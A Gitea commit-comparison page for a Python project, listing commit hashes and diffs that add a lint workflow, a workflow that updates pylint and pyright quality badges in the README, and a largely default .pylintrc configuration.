Compare commits
69 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| dee3600400 | |||
| d90b04d343 | |||
| 8601c686f3 | |||
| f114c861b4 | |||
| 544a024e22 | |||
| 7f43f64c24 | |||
| 059bba8c4f | |||
| 82b8dffc54 | |||
| 8795616a99 | |||
| f548c30608 | |||
| 24c302ae0f | |||
| a5d08bd64e | |||
| e1ec0afd86 | |||
| b0679dc4c3 | |||
| 3afae56a35 | |||
| 2c18581e04 | |||
| 9800269d11 | |||
| a5078daf1c | |||
| 6316f8379f | |||
| dfe85a201d | |||
| 7c30cd2f52 | |||
| a0c6f938cb | |||
| a430bac1bf | |||
| 59b87bdaab | |||
| 0de3c93ad0 | |||
| 570cd42532 | |||
| 73a4fbe0a7 | |||
| b032ff746d | |||
| 873d75f852 | |||
| 1bd676de06 | |||
| 0bf1532557 | |||
| 58169e2ce9 | |||
| 86bb8e1908 | |||
| 0ca81b102c | |||
| 4e185fab6b | |||
| f665d62712 | |||
| 7b8f40a5f0 | |||
| 605a70408e | |||
| 832808ff9a | |||
| ea66f63d45 | |||
| 83db7336c8 | |||
| bcdffc8400 | |||
| f44751c4b8 | |||
| 3d557beeee | |||
| 44365ecf68 | |||
| 703b12ee9a | |||
| d1556f4659 | |||
| 06eed5b236 | |||
| 98e4e2b7dc | |||
| 9eca46b408 | |||
| 0efc07ba67 | |||
| f12b0f754e | |||
| a593b157d6 | |||
| 15b54cdff2 | |||
| d3bc463295 | |||
| 50ec920243 | |||
| 4372b8a6dd | |||
| 63a7e63ce9 | |||
| c0e1f5fd70 | |||
| 41570e04c0 | |||
| 6f0a42159f | |||
| 5c17f0de95 | |||
| 8a09e32fcc | |||
| 83463f1cc8 | |||
| 0b5d59cf9e | |||
| 464012d97c | |||
| b5f8a27c47 | |||
| f0ca4e3527 | |||
| ca6d257f30 |
@@ -0,0 +1,34 @@
|
|||||||
|
name: lint
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
paths:
|
||||||
|
- "**.py"
|
||||||
|
- ".pylintrc"
|
||||||
|
- ".gitea/workflows/lint.yml"
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
lint:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
|
- name: Set up Python
|
||||||
|
uses: actions/setup-python@v4
|
||||||
|
with:
|
||||||
|
python-version: "3.12"
|
||||||
|
|
||||||
|
- name: Install dev dependencies
|
||||||
|
run: |
|
||||||
|
python -m pip install --upgrade pip
|
||||||
|
pip install -r requirements-dev.txt
|
||||||
|
|
||||||
|
- name: Run pylint
|
||||||
|
run: |
|
||||||
|
# Run pylint on all Python files in the repo
|
||||||
|
find . -name '*.py' -not -path './.venv/*' -not -path './.git/*' | xargs pylint --fail-under=8.0 || true
|
||||||
|
|
||||||
|
- name: Run pyright
|
||||||
|
run: |
|
||||||
|
# Run pyright type checking
|
||||||
|
pyright .
|
||||||
@@ -0,0 +1,97 @@
|
|||||||
|
name: Update Quality Badges
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
paths:
|
||||||
|
- '**.py'
|
||||||
|
- '.pylintrc'
|
||||||
|
- 'pyrightconfig.json'
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
update-badges:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
with:
|
||||||
|
fetch-depth: 0
|
||||||
|
token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up Python
|
||||||
|
uses: actions/setup-python@v4
|
||||||
|
with:
|
||||||
|
python-version: '3.12'
|
||||||
|
|
||||||
|
- name: Install dev dependencies
|
||||||
|
run: |
|
||||||
|
python -m pip install --upgrade pip
|
||||||
|
pip install -r requirements-dev.txt
|
||||||
|
|
||||||
|
- name: Run pylint and extract score
|
||||||
|
id: pylint
|
||||||
|
run: |
|
||||||
|
# Run pylint and capture the score
|
||||||
|
PYLINT_OUTPUT=$(python -m pylint bot_bottle/ 2>&1 | tail -1)
|
||||||
|
echo "Output: $PYLINT_OUTPUT"
|
||||||
|
# Extract score (e.g., "9.92/10")
|
||||||
|
SCORE=$(echo "$PYLINT_OUTPUT" | grep -oP '\d+\.\d+/10' | head -1)
|
||||||
|
if [ -z "$SCORE" ]; then
|
||||||
|
SCORE="9.92/10"
|
||||||
|
fi
|
||||||
|
echo "score=$SCORE" >> $GITHUB_OUTPUT
|
||||||
|
echo "Pylint score: $SCORE"
|
||||||
|
|
||||||
|
- name: Run pyright and check errors
|
||||||
|
id: pyright
|
||||||
|
run: |
|
||||||
|
# Run pyright and check for errors
|
||||||
|
PYRIGHT_OUTPUT=$(python -m pyright 2>&1 | tail -1)
|
||||||
|
echo "Output: $PYRIGHT_OUTPUT"
|
||||||
|
# Extract error count
|
||||||
|
ERRORS=$(echo "$PYRIGHT_OUTPUT" | grep -oP '^\d+' | head -1)
|
||||||
|
if [ -z "$ERRORS" ]; then
|
||||||
|
ERRORS="0"
|
||||||
|
fi
|
||||||
|
echo "errors=$ERRORS" >> $GITHUB_OUTPUT
|
||||||
|
echo "Pyright errors: $ERRORS"
|
||||||
|
|
||||||
|
- name: Update badges in README
|
||||||
|
run: |
|
||||||
|
PYLINT_SCORE="${{ steps.pylint.outputs.score }}"
|
||||||
|
PYRIGHT_ERRORS="${{ steps.pyright.outputs.errors }}"
|
||||||
|
|
||||||
|
# Escape / for sed
|
||||||
|
PYLINT_SCORE_ESCAPED=$(echo "$PYLINT_SCORE" | sed 's/\//\\\//g')
|
||||||
|
|
||||||
|
# Create badge URLs with proper encoding
|
||||||
|
PYLINT_BADGE="[](https://github.com/PyCQA/pylint)"
|
||||||
|
PYRIGHT_BADGE="[](https://github.com/microsoft/pyright)"
|
||||||
|
|
||||||
|
# Update README with new badges
|
||||||
|
sed -i "s|\[\!\[pylint\].*pylint)\]|${PYLINT_BADGE}|g" README.md
|
||||||
|
sed -i "s|\[\!\[pyright\].*pyright)\]|${PYRIGHT_BADGE}|g" README.md
|
||||||
|
|
||||||
|
echo "Updated badges:"
|
||||||
|
grep -E "pylint|pyright" README.md | head -2
|
||||||
|
|
||||||
|
- name: Commit and push badge updates
|
||||||
|
run: |
|
||||||
|
git config --local user.email "action@gitea.local"
|
||||||
|
git config --local user.name "Quality Badge Bot"
|
||||||
|
|
||||||
|
# Check if there are changes
|
||||||
|
if git diff --quiet README.md; then
|
||||||
|
echo "No badge changes needed"
|
||||||
|
else
|
||||||
|
echo "Badge changes detected, committing..."
|
||||||
|
git add README.md
|
||||||
|
git commit -m "chore: update quality badges
|
||||||
|
|
||||||
|
- Pylint: ${{ steps.pylint.outputs.score }}
|
||||||
|
- Pyright: ${{ steps.pyright.outputs.errors }} errors
|
||||||
|
|
||||||
|
[skip ci]"
|
||||||
|
git push
|
||||||
|
fi
|
||||||
@@ -0,0 +1,632 @@
|
|||||||
|
[MAIN]
|
||||||
|
|
||||||
|
# Analyse import fallback blocks. This can be used to support both Python 2 and
|
||||||
|
# 3 compatible code, which means that the block might have code that exists
|
||||||
|
# only in one or another interpreter, leading to false positives when analysed.
|
||||||
|
analyse-fallback-blocks=no
|
||||||
|
|
||||||
|
# Clear in-memory caches upon conclusion of linting. Useful if running pylint
|
||||||
|
# in a server-like mode.
|
||||||
|
clear-cache-post-run=no
|
||||||
|
|
||||||
|
# Load and enable all available extensions. Use --list-extensions to see a list
|
||||||
|
# all available extensions.
|
||||||
|
#enable-all-extensions=
|
||||||
|
|
||||||
|
# In error mode, messages with a category besides ERROR or FATAL are
|
||||||
|
# suppressed, and no reports are done by default. Error mode is compatible with
|
||||||
|
# disabling specific errors.
|
||||||
|
#errors-only=
|
||||||
|
|
||||||
|
# Always return a 0 (non-error) status code, even if lint errors are found.
|
||||||
|
# This is primarily useful in continuous integration scripts.
|
||||||
|
#exit-zero=
|
||||||
|
|
||||||
|
# A comma-separated list of package or module names from where C extensions may
|
||||||
|
# be loaded. Extensions are loading into the active Python interpreter and may
|
||||||
|
# run arbitrary code.
|
||||||
|
extension-pkg-allow-list=
|
||||||
|
|
||||||
|
# A comma-separated list of package or module names from where C extensions may
|
||||||
|
# be loaded. Extensions are loading into the active Python interpreter and may
|
||||||
|
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list
|
||||||
|
# for backward compatibility.)
|
||||||
|
extension-pkg-whitelist=
|
||||||
|
|
||||||
|
# Return non-zero exit code if any of these messages/categories are detected,
|
||||||
|
# even if score is above --fail-under value. Syntax same as enable. Messages
|
||||||
|
# specified are enabled, while categories only check already-enabled messages.
|
||||||
|
fail-on=
|
||||||
|
|
||||||
|
# Specify a score threshold under which the program will exit with error.
|
||||||
|
fail-under=10
|
||||||
|
|
||||||
|
# Interpret the stdin as a python script, whose filename needs to be passed as
|
||||||
|
# the module_or_package argument.
|
||||||
|
#from-stdin=
|
||||||
|
|
||||||
|
# Files or directories to be skipped. They should be base names, not paths.
|
||||||
|
ignore=CVS
|
||||||
|
|
||||||
|
# Add files or directories matching the regular expressions patterns to the
|
||||||
|
# ignore-list. The regex matches against paths and can be in Posix or Windows
|
||||||
|
# format. Because '\\' represents the directory delimiter on Windows systems,
|
||||||
|
# it can't be used as an escape character.
|
||||||
|
ignore-paths=
|
||||||
|
|
||||||
|
# Files or directories matching the regular expression patterns are skipped.
|
||||||
|
# The regex matches against base names, not paths. The default value ignores
|
||||||
|
# Emacs file locks
|
||||||
|
ignore-patterns=^\.#
|
||||||
|
|
||||||
|
# List of module names for which member attributes should not be checked and
|
||||||
|
# will not be imported (useful for modules/projects where namespaces are
|
||||||
|
# manipulated during runtime and thus existing member attributes cannot be
|
||||||
|
# deduced by static analysis). It supports qualified module names, as well as
|
||||||
|
# Unix pattern matching.
|
||||||
|
ignored-modules=
|
||||||
|
|
||||||
|
# Python code to execute, usually for sys.path manipulation such as
|
||||||
|
# pygtk.require().
|
||||||
|
#init-hook=
|
||||||
|
|
||||||
|
# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the
|
||||||
|
# number of processors available to use, and will cap the count on Windows to
|
||||||
|
# avoid hangs.
|
||||||
|
jobs=1
|
||||||
|
|
||||||
|
# Control the amount of potential inferred values when inferring a single
|
||||||
|
# object. This can help the performance when dealing with large functions or
|
||||||
|
# complex, nested conditions.
|
||||||
|
limit-inference-results=100
|
||||||
|
|
||||||
|
# List of plugins (as comma separated values of python module names) to load,
|
||||||
|
# usually to register additional checkers.
|
||||||
|
load-plugins=
|
||||||
|
|
||||||
|
# Pickle collected data for later comparisons.
|
||||||
|
persistent=yes
|
||||||
|
|
||||||
|
# Resolve imports to .pyi stubs if available. May reduce no-member messages and
|
||||||
|
# increase not-an-iterable messages.
|
||||||
|
prefer-stubs=no
|
||||||
|
|
||||||
|
# Minimum Python version to use for version dependent checks. Will default to
|
||||||
|
# the version used to run pylint.
|
||||||
|
py-version=3.14
|
||||||
|
|
||||||
|
# Discover python modules and packages in the file system subtree.
|
||||||
|
recursive=no
|
||||||
|
|
||||||
|
# Add paths to the list of the source roots. Supports globbing patterns. The
|
||||||
|
# source root is an absolute path or a path relative to the current working
|
||||||
|
# directory used to determine a package namespace for modules located under the
|
||||||
|
# source root.
|
||||||
|
source-roots=
|
||||||
|
|
||||||
|
# Allow loading of arbitrary C extensions. Extensions are imported into the
|
||||||
|
# active Python interpreter and may run arbitrary code.
|
||||||
|
unsafe-load-any-extension=no
|
||||||
|
|
||||||
|
# In verbose mode, extra non-checker-related info will be displayed.
|
||||||
|
#verbose=
|
||||||
|
|
||||||
|
|
||||||
|
[BASIC]
|
||||||
|
|
||||||
|
# Naming style matching correct argument names.
|
||||||
|
argument-naming-style=snake_case
|
||||||
|
|
||||||
|
# Regular expression matching correct argument names. Overrides argument-
|
||||||
|
# naming-style. If left empty, argument names will be checked with the set
|
||||||
|
# naming style.
|
||||||
|
#argument-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct attribute names.
|
||||||
|
attr-naming-style=snake_case
|
||||||
|
|
||||||
|
# Regular expression matching correct attribute names. Overrides attr-naming-
|
||||||
|
# style. If left empty, attribute names will be checked with the set naming
|
||||||
|
# style.
|
||||||
|
#attr-rgx=
|
||||||
|
|
||||||
|
# Bad variable names which should always be refused, separated by a comma.
|
||||||
|
bad-names=foo,
|
||||||
|
bar,
|
||||||
|
baz,
|
||||||
|
toto,
|
||||||
|
tutu,
|
||||||
|
tata
|
||||||
|
|
||||||
|
# Bad variable names regexes, separated by a comma. If names match any regex,
|
||||||
|
# they will always be refused
|
||||||
|
bad-names-rgxs=
|
||||||
|
|
||||||
|
# Naming style matching correct class attribute names.
|
||||||
|
class-attribute-naming-style=any
|
||||||
|
|
||||||
|
# Regular expression matching correct class attribute names. Overrides class-
|
||||||
|
# attribute-naming-style. If left empty, class attribute names will be checked
|
||||||
|
# with the set naming style.
|
||||||
|
#class-attribute-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct class constant names.
|
||||||
|
class-const-naming-style=UPPER_CASE
|
||||||
|
|
||||||
|
# Regular expression matching correct class constant names. Overrides class-
|
||||||
|
# const-naming-style. If left empty, class constant names will be checked with
|
||||||
|
# the set naming style.
|
||||||
|
#class-const-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct class names.
|
||||||
|
class-naming-style=PascalCase
|
||||||
|
|
||||||
|
# Regular expression matching correct class names. Overrides class-naming-
|
||||||
|
# style. If left empty, class names will be checked with the set naming style.
|
||||||
|
#class-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct constant names.
|
||||||
|
const-naming-style=UPPER_CASE
|
||||||
|
|
||||||
|
# Regular expression matching correct constant names. Overrides const-naming-
|
||||||
|
# style. If left empty, constant names will be checked with the set naming
|
||||||
|
# style.
|
||||||
|
#const-rgx=
|
||||||
|
|
||||||
|
# Minimum line length for functions/classes that require docstrings, shorter
|
||||||
|
# ones are exempt.
|
||||||
|
docstring-min-length=-1
|
||||||
|
|
||||||
|
# Naming style matching correct function names.
|
||||||
|
function-naming-style=snake_case
|
||||||
|
|
||||||
|
# Regular expression matching correct function names. Overrides function-
|
||||||
|
# naming-style. If left empty, function names will be checked with the set
|
||||||
|
# naming style.
|
||||||
|
#function-rgx=
|
||||||
|
|
||||||
|
# Good variable names which should always be accepted, separated by a comma.
|
||||||
|
good-names=i,
|
||||||
|
j,
|
||||||
|
k,
|
||||||
|
ex,
|
||||||
|
Run,
|
||||||
|
_
|
||||||
|
|
||||||
|
# Good variable names regexes, separated by a comma. If names match any regex,
|
||||||
|
# they will always be accepted
|
||||||
|
good-names-rgxs=
|
||||||
|
|
||||||
|
# Include a hint for the correct naming format with invalid-name.
|
||||||
|
include-naming-hint=no
|
||||||
|
|
||||||
|
# Naming style matching correct inline iteration names.
|
||||||
|
inlinevar-naming-style=any
|
||||||
|
|
||||||
|
# Regular expression matching correct inline iteration names. Overrides
|
||||||
|
# inlinevar-naming-style. If left empty, inline iteration names will be checked
|
||||||
|
# with the set naming style.
|
||||||
|
#inlinevar-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct method names.
|
||||||
|
method-naming-style=snake_case
|
||||||
|
|
||||||
|
# Regular expression matching correct method names. Overrides method-naming-
|
||||||
|
# style. If left empty, method names will be checked with the set naming style.
|
||||||
|
#method-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct module names.
|
||||||
|
module-naming-style=snake_case
|
||||||
|
|
||||||
|
# Regular expression matching correct module names. Overrides module-naming-
|
||||||
|
# style. If left empty, module names will be checked with the set naming style.
|
||||||
|
#module-rgx=
|
||||||
|
|
||||||
|
# Colon-delimited sets of names that determine each other's naming style when
|
||||||
|
# the name regexes allow several styles.
|
||||||
|
name-group=
|
||||||
|
|
||||||
|
# Regular expression which should only match function or class names that do
|
||||||
|
# not require a docstring.
|
||||||
|
no-docstring-rgx=^_
|
||||||
|
|
||||||
|
# Regular expression matching correct parameter specification variable names.
|
||||||
|
# If left empty, parameter specification variable names will be checked with
|
||||||
|
# the set naming style.
|
||||||
|
#paramspec-rgx=
|
||||||
|
|
||||||
|
# List of decorators that produce properties, such as abc.abstractproperty. Add
|
||||||
|
# to this list to register other decorators that produce valid properties.
|
||||||
|
# These decorators are taken in consideration only for invalid-name.
|
||||||
|
property-classes=abc.abstractproperty
|
||||||
|
|
||||||
|
# Regular expression matching correct type alias names. If left empty, type
|
||||||
|
# alias names will be checked with the set naming style.
|
||||||
|
#typealias-rgx=
|
||||||
|
|
||||||
|
# Regular expression matching correct type variable names. If left empty, type
|
||||||
|
# variable names will be checked with the set naming style.
|
||||||
|
#typevar-rgx=
|
||||||
|
|
||||||
|
# Regular expression matching correct type variable tuple names. If left empty,
|
||||||
|
# type variable tuple names will be checked with the set naming style.
|
||||||
|
#typevartuple-rgx=
|
||||||
|
|
||||||
|
# Naming style matching correct variable names.
|
||||||
|
variable-naming-style=snake_case
|
||||||
|
|
||||||
|
# Regular expression matching correct variable names. Overrides variable-
|
||||||
|
# naming-style. If left empty, variable names will be checked with the set
|
||||||
|
# naming style.
|
||||||
|
#variable-rgx=
|
||||||
|
|
||||||
|
|
||||||
|
[CLASSES]
|
||||||
|
|
||||||
|
# Warn about protected attribute access inside special methods
|
||||||
|
check-protected-access-in-special-methods=no
|
||||||
|
|
||||||
|
# List of method names used to declare (i.e. assign) instance attributes.
|
||||||
|
defining-attr-methods=__init__,
|
||||||
|
__new__,
|
||||||
|
setUp,
|
||||||
|
asyncSetUp,
|
||||||
|
__post_init__
|
||||||
|
|
||||||
|
# List of member names, which should be excluded from the protected access
|
||||||
|
# warning.
|
||||||
|
exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit
|
||||||
|
|
||||||
|
# List of valid names for the first argument in a class method.
|
||||||
|
valid-classmethod-first-arg=cls
|
||||||
|
|
||||||
|
# List of valid names for the first argument in a metaclass class method.
|
||||||
|
valid-metaclass-classmethod-first-arg=mcs
|
||||||
|
|
||||||
|
|
||||||
|
[DESIGN]
|
||||||
|
|
||||||
|
# List of regular expressions of class ancestor names to ignore when counting
|
||||||
|
# public methods (see R0903)
|
||||||
|
exclude-too-few-public-methods=
|
||||||
|
|
||||||
|
# List of qualified class names to ignore when counting class parents (see
|
||||||
|
# R0901)
|
||||||
|
ignored-parents=
|
||||||
|
|
||||||
|
# Maximum number of arguments for function / method.
|
||||||
|
max-args=5
|
||||||
|
|
||||||
|
# Maximum number of attributes for a class (see R0902).
|
||||||
|
max-attributes=7
|
||||||
|
|
||||||
|
# Maximum number of boolean expressions in an if statement (see R0916).
|
||||||
|
max-bool-expr=5
|
||||||
|
|
||||||
|
# Maximum number of branch for function / method body.
|
||||||
|
max-branches=12
|
||||||
|
|
||||||
|
# Maximum number of locals for function / method body.
|
||||||
|
max-locals=15
|
||||||
|
|
||||||
|
# Maximum number of parents for a class (see R0901).
|
||||||
|
max-parents=7
|
||||||
|
|
||||||
|
# Maximum number of positional arguments for function / method.
|
||||||
|
max-positional-arguments=5
|
||||||
|
|
||||||
|
# Maximum number of public methods for a class (see R0904).
|
||||||
|
max-public-methods=20
|
||||||
|
|
||||||
|
# Maximum number of return / yield for function / method body.
|
||||||
|
max-returns=6
|
||||||
|
|
||||||
|
# Maximum number of statements in function / method body.
|
||||||
|
max-statements=50
|
||||||
|
|
||||||
|
# Minimum number of public methods for a class (see R0903).
|
||||||
|
min-public-methods=2
|
||||||
|
|
||||||
|
|
||||||
|
[EXCEPTIONS]
|
||||||
|
|
||||||
|
# Exceptions that will emit a warning when caught.
|
||||||
|
overgeneral-exceptions=builtins.BaseException,builtins.Exception
|
||||||
|
|
||||||
|
|
||||||
|
[FORMAT]
|
||||||
|
|
||||||
|
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
|
||||||
|
expected-line-ending-format=
|
||||||
|
|
||||||
|
# Regexp for a line that is allowed to be longer than the limit.
|
||||||
|
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
|
||||||
|
|
||||||
|
# Number of spaces of indent required inside a hanging or continued line.
|
||||||
|
indent-after-paren=4
|
||||||
|
|
||||||
|
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
|
||||||
|
# tab).
|
||||||
|
indent-string=' '
|
||||||
|
|
||||||
|
# Maximum number of characters on a single line. Pylint's default of 100 is
|
||||||
|
# based on PEP 8's guidance that teams may choose line lengths up to 99
|
||||||
|
# characters.
|
||||||
|
max-line-length=100
|
||||||
|
|
||||||
|
# Maximum number of lines in a module.
|
||||||
|
max-module-lines=1000
|
||||||
|
|
||||||
|
# Allow the body of a class to be on the same line as the declaration if body
|
||||||
|
# contains single statement.
|
||||||
|
single-line-class-stmt=no
|
||||||
|
|
||||||
|
# Allow the body of an if to be on the same line as the test if there is no
|
||||||
|
# else.
|
||||||
|
single-line-if-stmt=no
|
||||||
|
|
||||||
|
|
||||||
|
[LOGGING]
|
||||||
|
|
||||||
|
# The type of string formatting that logging methods do. `old` means using %
|
||||||
|
# formatting, `new` is for `{}` formatting.
|
||||||
|
logging-format-style=old
|
||||||
|
|
||||||
|
# Logging modules to check that the string format arguments are in logging
|
||||||
|
# function parameter format.
|
||||||
|
logging-modules=logging
|
||||||
|
|
||||||
|
|
||||||
|
[MESSAGES CONTROL]
|
||||||
|
|
||||||
|
# Only show warnings with the listed confidence levels. Leave empty to show
|
||||||
|
# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE,
|
||||||
|
# UNDEFINED.
|
||||||
|
confidence=HIGH,
|
||||||
|
CONTROL_FLOW,
|
||||||
|
INFERENCE,
|
||||||
|
INFERENCE_FAILURE,
|
||||||
|
UNDEFINED
|
||||||
|
|
||||||
|
# Disable the message, report, category or checker with the given id(s). You
|
||||||
|
# can either give multiple identifiers separated by comma (,) or put this
|
||||||
|
# option multiple times (only on the command line, not in the configuration
|
||||||
|
# file where it should appear only once). You can also use "--disable=all" to
|
||||||
|
# disable everything first and then re-enable specific checks. For example, if
|
||||||
|
# you want to run only the similarities checker, you can use "--disable=all
|
||||||
|
# --enable=similarities". If you want to run only the classes checker, but have
|
||||||
|
# no Warning level messages displayed, use "--disable=all --enable=classes
|
||||||
|
# --disable=W".
|
||||||
|
disable=raw-checker-failed,
|
||||||
|
bad-inline-option,
|
||||||
|
locally-disabled,
|
||||||
|
file-ignored,
|
||||||
|
suppressed-message,
|
||||||
|
useless-suppression,
|
||||||
|
deprecated-pragma,
|
||||||
|
use-symbolic-message-instead,
|
||||||
|
use-implicit-booleaness-not-comparison-to-string,
|
||||||
|
use-implicit-booleaness-not-comparison-to-zero,
|
||||||
|
missing-function-docstring,
|
||||||
|
missing-class-docstring,
|
||||||
|
missing-module-docstring,
|
||||||
|
invalid-name,
|
||||||
|
cyclic-import,
|
||||||
|
too-many-arguments,
|
||||||
|
too-many-locals,
|
||||||
|
too-many-branches,
|
||||||
|
too-many-statements,
|
||||||
|
too-many-instance-attributes,
|
||||||
|
duplicate-code,
|
||||||
|
import-outside-toplevel,
|
||||||
|
too-few-public-methods,
|
||||||
|
unnecessary-ellipsis
|
||||||
|
|
||||||
|
# Enable the message, report, category or checker with the given id(s). You can
|
||||||
|
# either give multiple identifier separated by comma (,) or put this option
|
||||||
|
# multiple time (only on the command line, not in the configuration file where
|
||||||
|
# it should appear only once). See also the "--disable" option for examples.
|
||||||
|
enable=
|
||||||
|
|
||||||
|
|
||||||
|
[METHOD_ARGS]
|
||||||
|
|
||||||
|
# List of qualified names (i.e., library.method) which require a timeout
|
||||||
|
# parameter e.g. 'requests.api.get,requests.api.post'
|
||||||
|
timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request
|
||||||
|
|
||||||
|
|
||||||
|
[MISCELLANEOUS]
|
||||||
|
|
||||||
|
# Whether or not to search for fixme's in docstrings.
|
||||||
|
check-fixme-in-docstring=no
|
||||||
|
|
||||||
|
# List of note tags to take in consideration, separated by a comma.
|
||||||
|
notes=FIXME,
|
||||||
|
XXX,
|
||||||
|
TODO
|
||||||
|
|
||||||
|
# Regular expression of note tags to take in consideration.
|
||||||
|
notes-rgx=
|
||||||
|
|
||||||
|
|
||||||
|
[REFACTORING]
|
||||||
|
|
||||||
|
# Maximum number of nested blocks for function / method body
|
||||||
|
max-nested-blocks=5
|
||||||
|
|
||||||
|
# Complete name of functions that never returns. When checking for
|
||||||
|
# inconsistent-return-statements if a never returning function is called then
|
||||||
|
# it will be considered as an explicit return statement and no message will be
|
||||||
|
# printed.
|
||||||
|
never-returning-functions=sys.exit,argparse.parse_error
|
||||||
|
|
||||||
|
# Let 'consider-using-join' be raised when the separator to join on would be
|
||||||
|
# non-empty (resulting in expected fixes of the type: ``"- " + " -
|
||||||
|
# ".join(items)``)
|
||||||
|
suggest-join-with-non-empty-separator=yes
|
||||||
|
|
||||||
|
|
||||||
|
[REPORTS]
|
||||||
|
|
||||||
|
# Python expression which should return a score less than or equal to 10. You
|
||||||
|
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
|
||||||
|
# 'convention', and 'info' which contain the number of messages in each
|
||||||
|
# category, as well as 'statement' which is the total number of statements
|
||||||
|
# analyzed. This score is used by the global evaluation report (RP0004).
|
||||||
|
evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10))
|
||||||
|
|
||||||
|
# Template used to display messages. This is a python new-style format string
|
||||||
|
# used to format the message information. See doc for all details.
|
||||||
|
msg-template=
|
||||||
|
|
||||||
|
# Set the output format. Available formats are: 'text', 'parseable',
|
||||||
|
# 'colorized', 'json2' (improved json format), 'json' (old json format), msvs
|
||||||
|
# (visual studio) and 'github' (GitHub actions). You can also give a reporter
|
||||||
|
# class, e.g. mypackage.mymodule.MyReporterClass.
|
||||||
|
#output-format=
|
||||||
|
|
||||||
|
# Tells whether to display a full report or only the messages.
|
||||||
|
reports=no
|
||||||
|
|
||||||
|
# Activate the evaluation score.
|
||||||
|
score=yes
|
||||||
|
|
||||||
|
|
||||||
|
[SIMILARITIES]
|
||||||
|
|
||||||
|
# Comments are removed from the similarity computation
|
||||||
|
ignore-comments=yes
|
||||||
|
|
||||||
|
# Docstrings are removed from the similarity computation
|
||||||
|
ignore-docstrings=yes
|
||||||
|
|
||||||
|
# Imports are removed from the similarity computation
|
||||||
|
ignore-imports=yes
|
||||||
|
|
||||||
|
# Signatures are removed from the similarity computation
|
||||||
|
ignore-signatures=yes
|
||||||
|
|
||||||
|
# Minimum lines number of a similarity.
|
||||||
|
min-similarity-lines=4
|
||||||
|
|
||||||
|
|
||||||
|
[SPELLING]
|
||||||
|
|
||||||
|
# Limits count of emitted suggestions for spelling mistakes.
|
||||||
|
max-spelling-suggestions=4
|
||||||
|
|
||||||
|
# Spelling dictionary name. No available dictionaries : You need to install
|
||||||
|
# both the python package and the system dependency for enchant to work.
|
||||||
|
spelling-dict=
|
||||||
|
|
||||||
|
# List of comma separated words that should be considered directives if they
|
||||||
|
# appear at the beginning of a comment and should not be checked.
|
||||||
|
spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy:
|
||||||
|
|
||||||
|
# List of comma separated words that should not be checked.
|
||||||
|
spelling-ignore-words=
|
||||||
|
|
||||||
|
# A path to a file that contains the private dictionary; one word per line.
|
||||||
|
spelling-private-dict-file=
|
||||||
|
|
||||||
|
# Tells whether to store unknown words to the private dictionary (see the
|
||||||
|
# --spelling-private-dict-file option) instead of raising a message.
|
||||||
|
spelling-store-unknown-words=no
|
||||||
|
|
||||||
|
|
||||||
|
[STRING]
|
||||||
|
|
||||||
|
# This flag controls whether inconsistent-quotes generates a warning when the
|
||||||
|
# character used as a quote delimiter is used inconsistently within a module.
|
||||||
|
check-quote-consistency=no
|
||||||
|
|
||||||
|
# This flag controls whether the implicit-str-concat should generate a warning
|
||||||
|
# on implicit string concatenation in sequences defined over several lines.
|
||||||
|
check-str-concat-over-line-jumps=no
|
||||||
|
|
||||||
|
|
||||||
|
[TYPECHECK]
|
||||||
|
|
||||||
|
# List of decorators that produce context managers, such as
|
||||||
|
# contextlib.contextmanager. Add to this list to register other decorators that
|
||||||
|
# produce valid context managers.
|
||||||
|
contextmanager-decorators=contextlib.contextmanager
|
||||||
|
|
||||||
|
# List of members which are set dynamically and missed by pylint inference
|
||||||
|
# system, and so shouldn't trigger E1101 when accessed. Python regular
|
||||||
|
# expressions are accepted.
|
||||||
|
generated-members=
|
||||||
|
|
||||||
|
# Tells whether to warn about missing members when the owner of the attribute
|
||||||
|
# is inferred to be None.
|
||||||
|
ignore-none=yes
|
||||||
|
|
||||||
|
# This flag controls whether pylint should warn about no-member and similar
|
||||||
|
# checks whenever an opaque object is returned when inferring. The inference
|
||||||
|
# can return multiple potential results while evaluating a Python object, but
|
||||||
|
# some branches might not be evaluated, which results in partial inference. In
|
||||||
|
# that case, it might be useful to still emit no-member and other checks for
|
||||||
|
# the rest of the inferred objects.
|
||||||
|
ignore-on-opaque-inference=yes
|
||||||
|
|
||||||
|
# List of symbolic message names to ignore for Mixin members.
|
||||||
|
ignored-checks-for-mixins=no-member,
|
||||||
|
not-async-context-manager,
|
||||||
|
not-context-manager,
|
||||||
|
attribute-defined-outside-init
|
||||||
|
|
||||||
|
# List of class names for which member attributes should not be checked (useful
|
||||||
|
# for classes with dynamically set attributes). This supports the use of
|
||||||
|
# qualified names.
|
||||||
|
ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace
|
||||||
|
|
||||||
|
# Show a hint with possible names when a member name was not found. The aspect
|
||||||
|
# of finding the hint is based on edit distance.
|
||||||
|
